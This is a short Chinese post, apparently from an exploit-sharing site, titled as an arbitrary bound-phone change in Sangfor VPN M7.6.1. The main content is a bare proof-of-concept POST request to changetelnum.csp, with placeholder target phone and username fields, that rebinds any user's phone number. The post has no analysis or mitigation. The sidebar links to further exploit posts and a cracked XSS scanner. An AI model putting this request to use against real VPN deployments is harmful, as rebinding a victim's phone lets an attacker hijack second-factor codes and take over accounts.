深信服VPN_M7.6.1_任意修改綁定手機

棉花糖

2021年7月15日发布

赞赏

300

# 深信服VPN M7.6.1 任意修改綁定手機
==POC==

https://127.0.0.1/por/changetelnum.csp?apiversion=1 
POST：
newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

文章版权归作者所有，未经允许请勿转载。

THE END

漏洞库

喜欢就支持一下吧

点赞0 赞赏

深信服VPN_M7.6.1_任意修改綁定手機

1【通知】本站关闭会员在线注册开通等功能，有疑问或需求请联系棉花糖

2xscan 3.6.4 破解版 xss扫描工具

3大蚂蚁即时通信系统loginByToken存在权限认证绕过

4大蚂蚁即时通信系统upload_file存在文件上传导致命令执行

5麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞

6Dark Vortex 攻击工具开发中英双语字幕

深信服VPN_M7.6.1_任意修改綁定手機

1【通知】本站关闭会员在线注册开通等功能，有疑问或需求请联系棉花糖

2xscan 3.6.4 破解版 xss扫描工具

3大蚂蚁即时通信系统loginByToken存在权限认证绕过

4大蚂蚁即时通信系统upload_file存在文件上传导致命令执行

5麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞

6Dark Vortex 攻击工具开发 中英双语字幕

6Dark Vortex 攻击工具开发中英双语字幕